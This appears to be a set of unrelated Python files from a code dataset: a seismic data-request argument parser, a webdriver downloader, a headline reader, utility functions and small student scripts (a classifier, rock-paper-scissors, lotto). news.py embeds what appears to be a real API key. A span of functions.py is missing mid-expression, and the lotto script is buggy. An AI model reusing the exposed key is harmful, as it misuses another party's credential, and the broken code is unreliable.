self.set_reportnum(args_dict.get('report'))\n\n if args_dict.get('arrayid'):\n self.set_arrayid(args_dict.get('arrayid'))\n else:\n self.set_arrayid(args_dict.get('array'))\n\n self.set_decimation(args_dict.get('decimation'))\n self.set_reduction(args_dict.get('reduction'))\n self.set_format(args_dict.get('format'))\n if self.get_format() != RequestFormats.GEOCSV and \\\n args_dict.get('scale') is not None:\n raise ValueError(\"scale is only allowed \"\n \"for the format=geocsv output.\")\n else:\n self.set_scale(args_dict.get('scale'))\n\n except ValueError as err:\n raise ArgumentValidationError(err.message)\n\n def get_reqtype(self):\n return self.reqtype\n\n def set_reqtype(self, reqtype):\n self.reqtype = reqtype\n\n def get_network(self):\n return self.network\n\n def set_network(self, network):\n network = parse_arguments.parse_seed_network(network)\n if isinstance(network, list):\n self.network = ','.join(network)\n else:\n self.network = network\n\n def get_station(self):\n return self.station\n\n def set_station(self, station):\n self.station = parse_arguments.parse_seed_station(station)\n\n def get_location(self):\n return self.location\n\n def set_location(self, location):\n self.location = parse_arguments.parse_seed_location(location)\n\n def get_component(self):\n return self.component\n\n def set_component(self, component):\n self.component = parse_arguments.parse_ph5_componentid(component)\n\n def get_channel(self):\n return self.channel\n\n def set_channel(self, channel):\n self.channel = parse_arguments.parse_seed_channel(channel)\n\n def get_reportnum(self):\n return self.reportnum\n\n def set_reportnum(self, reportnum):\n reportnum = parse_arguments.parse_ph5_reportnum(reportnum)\n if reportnum:\n self.reportnum = ','.join(reportnum)\n else:\n self.reportnum = reportnum\n\n def get_decimation(self):\n return self.decimation\n \n def set_decimation(self, decimation):\n self.decimation = parse_arguments.parse_ph5_decimation(decimation)\n\n def set_reduction(self, reduction):\n self.reduction = parse_arguments.parse_ph5_reduction(reduction)\n\n def get_reduction(self):\n return self.reduction\n \n def set_disposition(self, disposition):\n self.disposition = parse_arguments.parse_disposition(disposition)\n\n def get_disposition(self):\n return self.disposition\n \n def set_textformat(self, textformat):\n self.textformat = parse_arguments.parse_textformat(textformat)\n\n def get_textformat(self):\n return self.textformat\n \n def set_scale(self, scale):\n self.scale = parse_arguments.parse_scale(scale)\n\n def get_scale(self):\n return self.scale\n \n def set_format(self, out_format):\n if parse_arguments.is_str_unicode(out_format):\n err_msg = \"Invalid format value. %s\" % (out_format)\n \n parts = out_format.split(\".\")\n out_format = parts[0].upper()\n if out_format in [RequestFormats.GEOCSV,\n RequestFormats.MSEED,\n RequestFormats.SAC,\n RequestFormats.SEGY1,\n RequestFormats.SEGY2]:\n self.format = out_format\n if (out_format == RequestFormats.GEOCSV):\n # initially set disposition and textformat to None\n self.set_disposition(None)\n self.set_textformat(None)\n # check for additional geocsv format options\n options_lookup = {\n \"TSPAIR\": \"textformat\",\n \"SLIST\": \"textformat\",\n \"ZIP\": \"disposition\",\n \"INLINE\": \"disposition\",\n }\n for value in parts[1:]:\n value = value.upper()\n option = options_lookup.get(value)\n if option == \"textformat\":\n if not self.get_textformat():\n self.set_textformat(value)\n else:\n raise ValueError(\n \"Invalid format options. \"\n \"Multiple values were assigned for\"\n \"the text format.\"\n \"({0} and {1})\".format(\n value,\n self.get_textformat()))\n elif option == \"disposition\":\n if not self.get_disposition():\n self.set_disposition(value)\n else:\n raise ValueError(\n \"Invalid format options. \"\n \"Multiple values were assigned for\"\n \"the content disposition.\"\n \"({0} and {1})\".format(\n value,\n self.get_disposition()))\n else:\n raise ValueError(\"Invalid GEOCSV format \"\n \"option {0}.\".format(value))\n if not self.get_textformat():\n self.set_textformat(\"TSPAIR\")\n elif (out_format == RequestFormats.SAC or\n out_format == RequestFormats.SEGY1 or\n out_format == RequestFormats.SEGY2):\n # initially set disposition to None\n self.set_disposition(None)\n # check for additional sac format options\n options_lookup = {\n \"ZIP\": \"disposition\",\n }\n for value in parts[1:]:\n value = value.upper()\n option = options_lookup.get(value)\n if option == \"disposition\":\n if not self.get_disposition():\n self.set_disposition(value)\n else:\n raise ValueError(\n \"Invalid format options. \"\n \"Multiple values were assigned for\"\n \"the content disposition.\"\n \"({0} and {1})\".format(\n value,\n self.get_disposition()))\n else:\n raise ValueError(\"Invalid {0} format \"\n \"option {1}.\".format(out_format,\n value))\n if not self.get_disposition():\n self.set_disposition(\"ZIP\")\n else:\n raise ValueError(err_msg)\n elif out_format is None:\n self.format = RequestFormats.MSEED # default to mseed\n else:\n raise ValueError(\"Format must be a String.\")\n\n def get_format(self):\n return self.format\n\n def get_arrayid(self):\n return self.arrayid\n\n def set_arrayid(self, arrayid):\n self.arrayid = parse_arguments.parse_ph5_arrayid(arrayid)\n\n def _check_for_unrecognized_arguments(self, args_dict):\n reserved_wss_args = ['format', 'aliases', 'username', 'stdin',\n 'nodata', 'output']\n dataselect_args = ['reqtype', 'format', 'network', 'station',\n 'location', 'channel', 'reportnum', 'component',\n 'decimation', 'reduction', 'starttime', 'endtime',\n 'length', 'shotid', 'shotline', 'arrayid', 'offset',\n 'disposition', 'textformat', 'scale']\n dataselect_alias_args = ['start', 'end', 'net', 'sta', 'loc', 'cha',\n 'report', 'shot', 'array']\n for key in args_dict.keys():\n if key.lower() not in dataselect_args and \\\n key.lower() not in reserved_wss_args and \\\n key.lower() not in dataselect_alias_args:\n raise ArgumentValidationError(\"Unrecognized argument \"\n \"- %s\" % key)\n\n def _set_default_inputs(self, args_dict):\n \"\"\"\n Sets default values for underfined request dictionary arguments\n\n :param args_dict: A dictionary of request arguments\n :type: dict\n\n :returns:\n Dictionary of arguments containing default values.\n :type: dict\n \"\"\"\n defaults = {'network': None, 'station': None, 'location': None,\n 'channel': None, 'reportnum': None,\n 'component': None, 'offset': '0', 'reduction': '0',\n 'length': None, 'shotline': None, 'shotid': None,\n 'arrayid': None, 'decimation': None, 'scale': None,\n }\n # add user arguments to the dictionary\n args_dict_with_defaults = defaults\n args_dict_with_defaults.update({k: v for k, v in args_dict.iteritems()\n if v})\n # ignore case of arguments\n if args_dict_with_defaults.get('format'):\n args_dict_with_defaults['format'] = \\\n args_dict_with_defaults['format'].upper()\n return args_dict_with_defaults\n\n\nclass FDSNArgumentContainer(ArgumentContainer):\n\n def __init__(self, args_dict):\n \"\"\"\n Constructor for a FDSNArgumentContainer object\n\n :param args_dict: A dictionary of request arguments\n :type: dict\n \"\"\"\n ArgumentContainer.__init__(self, args_dict)\n args_dict = self._set_default_inputs(args_dict)\n try:\n self.set_reqtype(RequestTypes.FDSN)\n if args_dict.get('starttime'):\n self.set_starttime(args_dict.get('starttime'))\n else:\n self.set_starttime(args_dict.get('start'))\n if args_dict.get('endtime'):\n self.set_endtime(args_dict.get('endtime'))\n else:\n self.set_endtime(args_dict.get('end'))\n if not (self.starttime and self.endtime):\n raise ValueError(\"starttime and endtime are required for fdsn \"\n \"request.\")\n except ValueError as err:\n raise ArgumentValidationError(err.message)\n\n def get_starttime(self):\n return self.starttime\n\n def set_starttime(self, starttime):\n self.starttime = parse_arguments.parse_date(starttime)\n\n def get_endtime(self):\n return self.endtime\n\n def set_endtime(self, endtime):\n self.endtime = parse_arguments.parse_date(endtime)\n\n def get_timerange_union(self, arg_container):\n \"\"\"\n Returns the greatest start and end time range for the union\n of this FDSNArgumentContainer with the arg_container parameter\n\n :param arg_container: The arg_container to find the union with\n :type: PH5DataQuery.argument_container.FDSNArgumentContainer\n :returns:\n if intersects arg_container then,\n A dictionary containing the largest combined time range\n otherwise,\n returns None\n :type: dict\n \"\"\"\n if self.contains_sncl(arg_container.get_network(),\n ','.join(arg_container.get_station()),\n ','.join(arg_container.get_location()),\n ','.join(arg_container.get_channel())):\n # meta_start <= request-range <= request_a_end\n # -- request b inside request a\n if (arg_container.get_starttime() >= self.starttime and\n arg_container.get_starttime() <= self.endtime) and \\\n (arg_container.get_endtime() >= self.starttime and\n arg_container.get_endtime() <= self.endtime):\n return {'starttime': self.starttime,\n 'endtime': self.endtime}\n # request_a_start > request-range < request_a_end\n # -- request b starts before a, ends inside a\n elif(arg_container.get_starttime() < self.starttime and\n arg_container.get_starttime() < self.endtime) and \\\n (arg_container.get_endtime() >= self.starttime and\n arg_container.get_endtime() <= self.endtime):\n return {'starttime': arg_container.get_starttime(),\n 'endtime': self.endtime}\n # request_a_start < request-range > request_a_end\n # -- request b starts inside a, ends after a\n elif(arg_container.get_starttime() >= self.starttime and\n arg_container.get_starttime() <= self.endtime) and \\\n (arg_container.get_endtime() > self.starttime and\n arg_container.get_endtime() > self.endtime):\n return {'starttime': self.starttime,\n 'endtime': arg_container.get_endtime()}\n # request_a_start > request-range > request_a_end\n # -- request a inside request b\n elif(arg_container.get_starttime() <= self.starttime and\n arg_container.get_starttime() <= self.endtime) and \\\n (arg_container.get_endtime() >= self.starttime and\n arg_container.get_endtime() >= self.endtime):\n return {'starttime': arg_container.get_starttime(),\n 'endtime': arg_container.get_endtime()}\n\n def get_availdata_intersection(self, availdata):\n \"\"\"\n Returns a dictionary containing the time-range set to\n the intersection of the starttime and endtime with\n the available data time-range.\n\n :param availdata: A AvailableData object containing metadata\n information\n :type: PH5DataQuery.argument_container.AvailableData\n :returns:\n A time-range set to the intersection between\n the channel epoch time-range and the ArgumentContainer time-range\n :type: dictionary\n \"\"\"\n if self.contains_sncl(availdata.get_network(),\n ','.join(availdata.get_station()),\n ','.join(availdata.get_location()),\n ','.join(availdata.get_channel())):\n # meta_start <= request-range <= request_a_end\n # -- request inside channel epoch\n if (self.starttime >= availdata.get_starttime() and\n self.starttime <= availdata.get_endtime()) and \\\n (self.endtime >= availdata.get_starttime() and\n self.endtime <= availdata.get_endtime()):\n return {'starttime': self.starttime,\n 'endtime': self.endtime}\n # request_a_start > request-range < request_a_end\n # -- request starts before channel epoch, ends inside channel epoch\n elif(self.starttime < availdata.get_starttime() and\n self.starttime < availdata.get_endtime()) and \\\n (self.endtime >= availdata.get_starttime() and\n self.endtime <= availdata.get_endtime()):\n return {'starttime': availdata.get_starttime(),\n 'endtime': self.endtime}\n # request_a_start < request-range > request_a_end\n # -- request starts inside a, ends after a\n elif(self.starttime >= availdata.get_starttime() and\n self.starttime <= availdata.get_endtime()) and \\\n (self.endtime > availdata.get_starttime() and\n self.endtime > availdata.get_endtime()):\n return {'starttime': self.starttime,\n 'endtime': availdata.get_endtime()}\n # request_a_start > request-range > request_a_end\n # -- channel epoch inside request b\n elif(self.starttime <= availdata.get_starttime() and\n self.starttime <= availdata.get_endtime()) and \\\n (self.endtime >= availdata.get_starttime() and\n self.endtime >= availdata.get_endtime()):\n return {'starttime': availdata.get_starttime(),\n 'endtime': availdata.get_endtime()}\n\n def __str__(self):\n \"\"\"\n :returns: Returns string representation of a ArgumentContainer object\n :type: str\n \"\"\"\n return (\"%s %s %s %s %s %s\" % (self.network, self.station,\n self.location, self.channel,\n self.starttime, self.endtime))\n\n def contains_sncl(self, network, station, location, channel):\n \"\"\"\n Checks if the nework, station, location, and channel of this request\n matches the network, station, location, and channel parameters entered.\n Supports glob wildcards * and ?.\n\n :returns: True if the requests return the same information, otherwise\n False\n :type: bool\n \"\"\"\n regex = re.compile(r\"^(%s) (%s) (%s) (%s)$\" %\n (self.network.replace(',', '|')\n .replace('*', '.*')\n .replace('?', '.?') if self.network else '.*',\n '|'.join(self.station)\n .replace('*', '.*')\n .replace('?', '.?') if self.station else '.*',\n '|'.join(self.location)\n .replace('*', '.*')\n .replace('?', '.?') if self.location else '.*',\n '|'.join(self.channel)\n .replace('*', '.*')\n .replace('?', '.?') if self.channel else '.*'\n ))\n other = \"%s %s %s %s\" % (network, station, location, channel)\n return re.match(regex, other)\n\n def __eq__(self, other):\n \"\"\"\n :returns:\n Returns True if the network, station, location, channel,\n start-time, and end-time of one ArgumentContainer are equal to\n another, otherwise returns False\n :type: bool\n \"\"\"\n return (self.network, self.station, self.location, self.channel,\n self.starttime, self.endtime) == \\\n (other.network, other.station, other.location, other.channel,\n other.starttime, other.endtime)\n\n\nclass ShotArgumentContainer(ArgumentContainer):\n\n def __init__(self, args_dict):\n \"\"\"\n Constructor for a ShotArgumentContainer object\n\n :param args_dict: A dictionary of request arguments\n :type: bool\n \"\"\"\n ArgumentContainer.__init__(self, args_dict)\n args_dict = self._set_default_inputs(args_dict)\n try:\n self.reqtype = RequestTypes.SHOT\n\n if args_dict.get('shotid'):\n self.set_shotid(args_dict.get('shotid'))\n else:\n self.set_shotid(args_dict.get('shot'))\n\n self.set_reduction(args_dict.get('reduction'))\n self.set_length(args_dict.get('length'))\n self.set_offset(args_dict.get('offset'))\n self.set_shotline(args_dict.get('shotline'))\n if not self.get_length():\n raise ArgumentValidationError(\"length is required for \"\n \"request by shot.\")\n except ValueError as err:\n raise ArgumentValidationError(err.message)\n\n def get_arguments_list(self):\n return self.__dict__.keys()\n\n def get_reduction(self):\n return self.reduction\n\n def set_reduction(self, reduction):\n self.reduction = parse_arguments.parse_ph5_reduction(reduction)\n\n def get_length(self):\n return self.length\n\n def set_length(self, length):\n self.length = parse_arguments.parse_ph5_length(length)\n\n def get_offset(self):\n return self.offset\n\n def set_offset(self, offset):\n self.offset = parse_arguments.parse_ph5_offset(offset)\n\n def get_shotline(self):\n return self.shotline\n\n def set_shotline(self, shotline):\n self.shotline = parse_arguments \\\n .parse_ph5_shotline_with_wildcards(shotline)\n\n def get_shotid(self):\n return self.shotid\n\n def set_shotid(self, shotid):\n self.shotid = parse_arguments.parse_ph5_shotid(shotid)\n\n \"\"\"\n Shot time is set internally by the event info. It is not supplied by the\n client.\n \"\"\"\n\n def get_shottime(self):\n return self.shot_time\n\n def set_shottime(self, shot_time):\n # shot time is set by the event information\n self.shot_time = parse_arguments.parse_date(shot_time)\n\n def __str__(self):\n \"\"\"\n :returns: Returns string representation of a ArgumentContainer object\n :type: str\n \"\"\"\n return (\"%s %s %s %s %s %s\" % (self.network, self.station,\n self.location, self.channel,\n self.shotline, self.shotid))\n","sub_path":"PH5WebService/PH5DataQuery/dataselect_args_container.py","file_name":"dataselect_args_container.py","file_ext":"py","file_size_in_byte":24184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"77841212","text":"import logging\nimport os\nimport platform\nimport stat\nfrom pathlib import Path\nfrom typing import Any, Optional\n\nfrom selenium import webdriver\nfrom webdrivermanager import AVAILABLE_DRIVERS\n\nfrom RPA.core.types import is_list_like\nfrom RPA.core.robocorp import robocorp_home\n\n\nLOGGER = logging.getLogger(__name__)\n\nDRIVER_ROOT = robocorp_home() / \"webdrivers\"\nDRIVER_PREFERENCE = {\n \"Windows\": [\"Chrome\", \"Firefox\", \"Edge\", \"Ie\", \"Opera\"],\n \"Linux\": [\"Chrome\", \"Firefox\", \"Opera\"],\n \"Darwin\": [\"Chrome\", \"Safari\", \"Firefox\", \"Opera\"],\n \"default\": [\"Chrome\", \"Firefox\"],\n}\n\n\ndef start(browser: str, **options):\n \"\"\"Start a webdriver with the given options.\"\"\"\n browser = browser.strip()\n factory = getattr(webdriver, browser, None)\n\n if not factory:\n raise ValueError(f\"Unsupported browser: {browser}\")\n\n driver = factory(**options)\n return driver\n\n\ndef download(browser: str, root: Path = DRIVER_ROOT) -> Optional[Path]:\n \"\"\"Download a webdriver binary for the given browser,\n and return the path to it. Attempts to use \"compatible\" mode\n to match browser and webdriver versions.\n \"\"\"\n manager = _to_manager(browser, root)\n if manager.get_driver_filename() is None:\n return None\n\n os.makedirs(manager.download_root, exist_ok=True)\n _link_clean(manager)\n\n result = manager.download_and_install(\"compatible\", show_progress_bar=False)\n if result is None:\n raise RuntimeError(\"Failed to extract webdriver from archive\")\n\n path = result[0]\n if platform.system() != \"Windows\":\n _set_executable(path)\n\n LOGGER.debug(\"Downloaded webdriver to: %s\", path)\n return path\n\n\ndef cache(browser: str, root: Path = DRIVER_ROOT) -> Optional[Path]:\n \"\"\"Return path to given browser's webdriver, if binary\n exists in cache.\n \"\"\"\n manager = _to_manager(browser, root)\n\n for path in _link_paths(manager):\n if path.exists():\n LOGGER.debug(\"Found cached webdriver: %s\", path)\n return path\n\n return None\n\n\ndef _to_manager(browser: str, root: Path = DRIVER_ROOT):\n browser = browser.strip()\n factory = AVAILABLE_DRIVERS.get(browser.lower())\n\n if not factory:\n raise ValueError(f\"Unsupported browser: {browser}\")\n\n manager = factory(download_root=root, link_path=root)\n return manager\n\n\ndef _link_paths(manager: Any):\n names = manager.get_driver_filename()\n\n if names is None:\n return []\n\n if not is_list_like(names):\n names = [names]\n\n return [Path(manager.download_root) / name for name in names]\n\n\ndef _link_clean(manager: Any):\n for path in _link_paths(manager):\n if not path.exists():\n continue\n try:\n os.unlink(path)\n except Exception as exc: # pylint: disable=broad-except\n LOGGER.debug(\"Failed to remove symlink: %s\", exc)\n\n\ndef _set_executable(path: str) -> None:\n st = os.stat(path)\n os.chmod(\n path,\n st.st_mode | stat.S_IXOTH | stat.S_IXGRP | stat.S_IEXEC,\n )\n","sub_path":"packages/core/src/RPA/core/webdriver.py","file_name":"webdriver.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"274676459","text":"import requests\nimport json\n\ndef speak(str):\n from win32com.client import Dispatch\n speak=Dispatch(\"SAPI.SpVoice\")\n speak.speak(str)\n\nif __name__ == \"__main__\":\n url=\"https://newsapi.org/v2/top-headlines?country=in&category=technology&apiKey=43165ee16c7c4f76bf77d22ab8abb3cd\"\n response=requests.get(url)\n text=response.text\n my_json=json.loads(text)\n\n for i in range(0,11):\n speak(my_json['articles'][i]['title'])","sub_path":"news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"411313760","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom dateutil.parser import parse\nfrom pprint import pprint\nfrom winsound import Beep as beep\n\ndef distance(origin, destination):\n '''Takes two [x,y] points\n Returns distance'''\n return np.sqrt( (origin[0]-destination[0])**2+(origin[1]-destination[1])**2)\n\ndef great_circle_distance(pt1, pt2):\n \"\"\"Takes two coordinates (lat,lng)\n Calculates distance considering earths roundness\n Returns distance by meters\"\"\"\n import math\n lat1, lon1 = pt1\n lat2, lon2 = pt2\n radius = 6371 # km\n\n dlat = math.radians(lat2 - lat1)\n dlon = math.radians(lon2 - lon1)\n a = (math.sin(dlat / 2) * math.sin(dlat / 2) +\n math.cos(math.radians(lat1)) * math.cos(math.radians(lat2)) *\n math.sin(dlon / 2) * math.sin(dlon / 2))\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))*radius\n return c*1000\n\ndef moving_average(arr, window=3):\n import numpy as np\n ret = np.cumsum(arr, dtype=float)\n ret[window:] = ret[window:] - ret[:-window]\n return ret[window - 1:] / window\n\ndef moving_std(arr,window,centered=False):\n import numpy as np\n stds = []\n if centered:\n margin = int(window/2)\n for i in range(margin,len(arr)- margin):\n stds.append(np.std(arr[i-margin:i+margin]))\n else:\n for i in range(window-1,len(arr)):\n stds.append(np.std(arr[i-window+1:i+1]))\n return np.array(stds)\n\ndef interpolate_two_points_by_line(pt1,pt2,n=8):\n \"\"\"\"Return a list of nb_points equally spaced points\n between pt1 and pt2\n If we have 8 intermediate points, we have 8+1=9 spaces\n between pt1 and pt2\"\"\"\n\n x_spacing = (pt2[0] - pt1[0]) / (n + 1)\n y_spacing = (pt2[1] - pt1[1]) / (n + 1)\n\n return [[pt1[0] + i * x_spacing, pt1[1] + i * y_spacing] for i in range(1, n+1)]\n\ndef smooth(arr,window=5,centered = False):\n '''Smooths list replacing by mean\n Returns list'''\n if not centered:\n return [np.mean(arr[i-window+1 if i-window+1 >=0 else 0:i+1]) for i in range(len(arr))]\n else:\n return [np.mean(arr[i-int(np.floor(window/2)) if i-int(np.floor(window/2)) >=0 else 0:i+int(np.ceil(window/2)) if i+int(np.ceil(window/2)) < len(arr) else len(arr)]) for i in range(len(arr))]\n\ndef plot(x,y):\n plt.figure(figsize=(10,8))\n plt.plot(x,y)\n\ndef get_nearby_points(point,points,radius,limit):\n '''Takes point and list of points\n Returns sorted(ascending) by distance list of points in radius and by limit'''\n return [p for p in sorted( points,key = lambda d: distance((point[0],point[1]),(d[0],d[1])))[:limit] if distance((point[0],point[1]),(p[0],p[1])) < radius]\n\ndef get_function_code(func_name):\n '''Takes function name\n Returns function code string'''\n import inspect\n print( inspect.getsource(func_name))\n\ndef multiprocessing_example():\n\n print('''\n from multiprocessing import Pool\n from test import f\n\n p = Pool(5)\n\n for i in p.imap(f, [1, 2, 3]):\n print(i)\n ''')\n\ndef upper_and_lower_stds(arr):\n '''Takes array\n Returns lower std,std and upper std'''\n mean = np.mean(arr)\n arr = np.array(arr) \n\n ustd = np.sqrt(np.mean((arr[arr>mean]-mean)**2))\n lstd = np.sqrt(np.mean((arr[arr100 else 0 if p<0 else p\n if value % int((maximum/500))== 0:\n clear_output()\n h = round(p+0.0001)>int(p)\n t = '{} |{}{}| {}%'.format(name,'█'*int(p),('▄' if h else '')+'_'*(100 - int(p) - (1 if h else 0) ),round(p,1))\n print(t,flush=True)\n\ndef send_email(text='45',FROM = 'tigodav@gmail.com',to = 'tigrandavtyan97@gmail.com'):\n import smtplib\n from getpass import getpass\n\n TO = recipient if isinstance(to, list) else [to]\n SUBJECT = 'Email from python'\n TEXT = str(text)\n\n # Prepare actual message\n message = \"\"\"From: %s\\nTo: %s\\nSubject: %s\\n\\n%s\n \"\"\" % (FROM, \", \".join(TO), SUBJECT, TEXT)\n try:\n server = smtplib.SMTP(\"smtp.gmail.com\", 587)\n server.ehlo()\n server.starttls()\n server.login(FROM, getpass())\n server.sendmail(FROM, TO, message)\n server.close()\n print ('successfully sent the mail')\n except:\n print('Failed to send the email')\n\ndef load_keras_model(filename):\n '''Takes filename (without json or h5 ending)'''\n from keras.models import model_from_json\n with open(filename+'.json', 'r') as json_file:\n loaded_model_json = json_file.read()\n model = model_from_json(loaded_model_json)\n model.load_weights(filename+\".h5\")\n print(\"Loaded model from disk\")\n return model\n\ndef save_keras_model(model,filename):\n '''Takes keras model and filename(without json or h5 ending)'''\n model_json = model.to_json()\n with open(filename+\".json\", \"w\") as json_file:\n json_file.write(model_json)\n model.save_weights(filename+\".h5\")\n print(\"Saved model to disk\")\n\nclass Dimension:\n def __init__(self,size,dimension):\n self.size = size\n self.dimension = dimension\n self._get_next = [0] * size\n def reset(self):\n self._get_next = [0] * self.size\n \n def next(self):\n self._get_next[self.size-1] += 1\n for i in range(self.size-1,0,-1):\n if self._get_next[i] == self.dimension:\n self._get_next[i] = 0\n self._get_next[i-1] += 1\n if self._get_next[0] >= self.dimension:\n return [self.dimension-1]*self.size\n return self._get_next\n ","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":7090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"205861471","text":"from sklearn import datasets\nfrom sklearn.model_selection import train_test_split\nimport numpy\nimport tensorflow as tf\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\niris = datasets.load_iris()\niris_X = iris.data\niris_y = numpy.zeros((150,3))\nfor i in range(iris.target.size):\n iris_y[i][iris.target[i]] = 1\niris_name = iris.target_names\nX_train, X_test, y_train, y_test = train_test_split(iris_X, iris_y, test_size=0.3)\n\n# y_train = y_train.reshape(y_train.size, 1)\n# y_test = y_test.reshape(y_test.size, 1)\nprint(X_test)\nprint(y_test)\n\ndef add_layer(inputs, in_size, out_size, activation_function=None):\n Weights = tf.Variable(tf.random_normal([in_size, out_size]))\n biases = tf.Variable(tf.zeros([1, out_size]) + 0.1)\n Wx_plus_b = tf.matmul(inputs, Weights) + biases\n if activation_function == None:\n outputs = Wx_plus_b\n else:\n outputs = activation_function(Wx_plus_b)\n return outputs\n\ndef compute_accuracy(v_xs, v_ys):\n global prediction\n y_pre = sess.run(prediction, feed_dict={xs: v_xs})\n correct_prediction = tf.equal(tf.argmax(y_pre,1), tf.argmax(v_ys,1)) # tf.argmax()最大值所在处的索引 0: 按列比 1:按行比 tf.equal()与矩阵维度一致\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n result = sess.run(accuracy, feed_dict={xs: v_xs, ys: v_ys})\n return result\n\nxs = tf.placeholder(tf.float32, [None, 4])\nys = tf.placeholder(tf.float32, [None, 3])\n\nprediction = add_layer(xs, 4, 3, activation_function=tf.nn.softmax)\n# loss = tf.reduce_mean(tf.reduce_sum(tf.square(ys-prediction), reduction_indices=[1]))\n# cross_entropy = -tf.reduce_mean(ys * tf.log(tf.clip_by_value(prediction, 1e-10, 1.0)))\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(ys * tf.log(prediction), reduction_indices=[1]))\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\n\nfor i in range(300):\n sess.run(train_step, feed_dict={xs: X_train, ys: y_train})\n if i % 50 == 0:\n print(compute_accuracy(X_test, y_test))\n # print(sess.run(cross_entropy, feed_dict={xs: X_test, ys: y_test}))\n # print(\"prediction \", sess.run(prediction, feed_dict={xs: X_test, ys: y_test}))\n # print(\"prediction\"+sess.run(prediction, feed_dict={xs: X_train, ys: y_train}))\n # print(compute_accuracy(X_test, y_test)\n\n\npre = sess.run(prediction, feed_dict={xs: X_test})\nfor i in range(45):\n pre_label = numpy.argmax(pre[i])\n real_label = numpy.argmax(y_test[i])\n print(\"prediction is: %d, real is: %d\"%(pre_label, real_label))\n","sub_path":"testscikit.py","file_name":"testscikit.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"265843892","text":"import random\r\n\r\nuser_wins = 0\r\ncomp_wins = 0\r\n\r\noptions = ['rock', 'paper', 'scissors']\r\n\r\nwhile True:\r\n user_input = input(\"Type Rock/Paper/Scissors or Q to quit: \").lower()\r\n if user_input == 'q':\r\n break\r\n \r\n if user_input not in options:\r\n continue\r\n\r\n random_num = random.randint(0,2)\r\n # rock: 0; paper: 1; scissors: 2\r\n comp_pick = options[random_num]\r\n print(\"Computer picked\", comp_pick + \".\")\r\n if user_input == 'rock' and comp_pick == 'scissors':\r\n print(\"You won!\")\r\n user_wins +=1\r\n elif user_input == 'paper' and comp_pick == 'rock':\r\n print('You won!')\r\n user_wins +=1\r\n elif user_input == 'scissors' and comp_pick == 'paper':\r\n print('You won!')\r\n user_wins +=1\r\n elif user_input == 'scissors' and comp_pick == 'scissors' or user_input=='rock' and comp_pick =='rock' or user_input =='paper' and comp_pick == 'paper':\r\n print('Draw')\r\n else:\r\n print(\"Computer won! \")\r\n comp_wins +=1\r\n\r\nprint(\"You won\", user_wins, \"times. \")\r\nprint(\"Computer won\", comp_wins, \"times. \")\r\nprint(\"Bye Bye!\")","sub_path":"mini-projects/rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"100285791","text":"'''1. 시나리오\n2. 전제조건: 당첨금은 랜덤하게 만든다\n당첨번호는 랜덤하게 만든다\n순위에 따라 당첨금을 차등 지급한다.\n게임을 끝내고 다시 시작할 수 있다.'''\n\nimport random\nlist1=[];\n\npn=[];\n\ndef ran():\n rn = [];\n for i in range(1, 7): # 로또숫자 #set을 사용하면 중복되지않는다.!\n rnum = random.randint(1, 45);\n if rnum not in rn:\n rn.append(rnum);\n rn.sort();\n print(str('랜덤숫자:'), rn);\n\ndef prize():\n\n for p in range(1, 6): # 상금\n pnum = random.randint(5000, 30000);\n if pnum not in pn:\n pn.append(pnum);\n pn.sort();\n print(str('상금:'), pn);\n\n\n\ndef insert():\n num = (input('Input 6 number'));\n list1 = num.split(' ');\n list1 = list(map(int, list1)); # 문자열을 정수로 변환\n list1.sort();\n return list1;\n\nwhile True:\n print('Lotto Start!');\n print(str('상금:'), prize());\n ran();\n prize();\n insert();\n print(str('랜덤숫자:'), ran());\n print(insert())\n if list1 == rn:\n print('1등입니다 %d' % (prize[4]));\n re=int(input('다시 하겠습니까? 0=아니오,1=예'));\n if re==0:\n break;\n\n else:\n cnt = [];\n list2 = list(set(ran()).intersection(insert()))\n if len(list2) >= 1:\n print('등수확인');\n for n in list2:\n cnt.append(n);\n if len(cnt) == 5:\n print('2등입니다. 금액: %d원' % (pn[3]));\n elif len(cnt) == 4:\n print('3등입니다. 금액: %d원' % (pn[2]));\n elif len(cnt) == 3:\n print('4등입니다. 금액: %d원' % (pn[1]));\n elif len(cnt) == 2:\n print('5등입니다. 금액: %d원' % (pn[0]));\n elif len(cnt) == 1:\n print('6등입니다. 당첨금은 없습니다.');\n else:\n print('꽝');\n\n re=int(input('다시 하겠습니까? 0=아니오,1=예'));\n if re==0:\n break;\n\n\n\n\n","sub_path":"day04/ws0105fun.py","file_name":"ws0105fun.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"76439521","text":"##################################################\n#run from shell-> python LSTM_gridsearch.py 5 hidden_neurons_1stlayer(10,20,40,60,80,100,110,120,140,150)\n##################################################\n\n\n\nfrom __future__ import print_function\nimport pandas\nimport os\n\nimport sys\nstation_name = \"penn_state\"\n\nimport numpy\nimport pandas\nimport math\nimport os\nnumpy.random.seed(23)\nos.environ['KERAS_BACKEND']='theano'\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers import GRU\nfrom keras.layers import Dropout\nfrom keras.layers import TimeDistributed\nfrom keras.models import model_from_json\nfrom keras.models import load_model\nfrom 